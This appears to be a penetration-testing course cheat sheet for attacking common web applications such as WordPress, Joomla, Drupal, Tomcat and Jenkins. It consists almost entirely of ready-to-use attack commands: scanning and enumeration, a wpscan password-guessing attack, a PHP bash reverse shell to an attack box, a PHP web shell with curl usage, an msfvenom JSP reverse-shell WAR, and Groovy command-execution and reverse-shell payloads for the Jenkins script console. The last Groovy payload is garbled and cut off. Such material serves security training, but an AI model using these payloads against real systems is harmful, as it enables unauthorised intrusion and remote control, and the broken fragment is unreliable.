Attacking Common Applications Module Cheat Sheet
Attacking Common Applications Module Cheat Sheet
CHEAT SHEET
Command Description
sudo vim /etc/hosts Opens the /etc/hosts with vim to start adding
hostnames
sudo nmap -p 80,443,8000,8080,8180,8888,10000 --open -oA Runs an nmap scan using common web
web_discovery -iL scope_list application ports based on a scope list (scope_list)
and outputs to a file (web_discovery) in all formats
(-oA)
cat web_discovery.xml | ./aquatone -nmap Concatenates the contents of nmap scan output
(web_discovery.xml) and pipes it to aquatone
(./aquatone) while ensuring aquatone recognizes
the file as nmap scan output (-nmap)
sudo wpscan --url <http://domainnameoripaddress> --enumerate Runs wpscan using the --enmuerate flag. Can
replace the url with any valid and reachable URL in
each challenge
sudo wpscan --password-attack xmlrpc -t 20 -U john -P Runs wpscan and uses it to perform a password
/usr/share/wordlists/rockyou.txt --url attack (--password-attack) against the specified url
<http://domainnameoripaddress>
and references a word list
(/usr/share/wordlists/rockyou.txt)
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/<ip address of PHP code that will execute a reverse shell on a
attack box>/<port of choice> 0>&1'"); Linux-based system
droopescan scan joomla --url http://<domainnameoripaddress> Runs droopescan against a joomla site located at
the specified url
Command Description
<?php system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']); ?> PHP code that will allow for web shell access on a
vulnerable drupal site. Can be used through
browisng to the location of the file in the web
directory after saving. Can also be leveraged
utilizing curl. See next command.
curl -s <http://domainname or IP address of site> /node/3? Uses curl to navigate to php web shell file and run
dcfdd5e021a869fcc6dfaef8bf31377e=id | grep uid | cut -f4 - system commands (=id) on the target
d">"
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip address of Generates a jsp-based reverse shell payload in the
attack box> LPORT=<port to listen on to catch a shell> -f form of a .war file utilizing msfvenom
war > backup.war
nmap -sV -p 8009,8080 <domainname or IP address of tomcat Nmap scan useful in enumerating Apache Tomcat
site> and AJP services
def cmd = "cmd.exe /c dir".execute(); Groovy-based payload/code that can work with
println("${cmd.text}"); admin access to the Script Console of a Jenkins
site. This will allow webshell access and to execute
commands on the underlying Windows system
Command Description
String host="localhost"; int port=8044; String Groovy-based reverse shell payload/code that can
cmd="cmd.exe"; Process p=new work with admin acess to the Script Console of a
ProcessBuilder(cmd).redirectErrorStream(true).start();Socket
s=new So); Jenkinssite. Will work when the underlying OS is
Windows